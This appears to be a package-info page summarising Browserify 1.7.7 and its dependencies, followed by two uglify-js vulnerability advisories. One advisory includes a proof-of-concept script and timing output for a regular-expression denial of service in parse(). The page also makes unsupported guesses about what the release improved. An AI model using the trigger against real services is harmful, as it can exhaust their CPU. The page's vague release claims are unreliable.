Browserify version 1.7.7, released on November 11, 2011, is a minor update to the popular library that empowers developers to use Node.js-style require() statements in browser-based JavaScript code. Both versions, 1.7.7 and the prior stable release 1.7.6 (October 29, 2011), share the same core functionality: enabling modular JavaScript development for the browser by bundling dependencies and resolving modules similar to how Node.js operates on the server-side. The description remains consistent between releases, emphasizing Browserify's purpose of facilitating browser-side module management using familiar require() syntax.
Both versions rely on the same set of core dependencies, including "nub," "resolve," "optimist," "commondir," "detective," and "coffee-script," indicating no fundamental changes to how Browserify handles module resolution, option parsing, or CoffeeScript compilation in this update. Similarly, the development dependencies used for testing and building the library—such as "seq," "tap," "jade," "dnode," "jsdom," "connect," "hashish," "backbone," "traverse," and "jquery-browserify"—are identical, suggesting the testing and build processes were unchanged.
While the internal refinements between versions 1.7.6 and 1.7.7 might be subtle, users can expect improved stability or bug fixes. The key takeaway is that if you successfully used Browserify 1.7.6, upgrading to 1.7.7 should be a seamless experience, offering any benefits from incremental enhancements. The MIT/X11 license remains in effect.
All the vulnerabilities related to the version 1.7.7 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.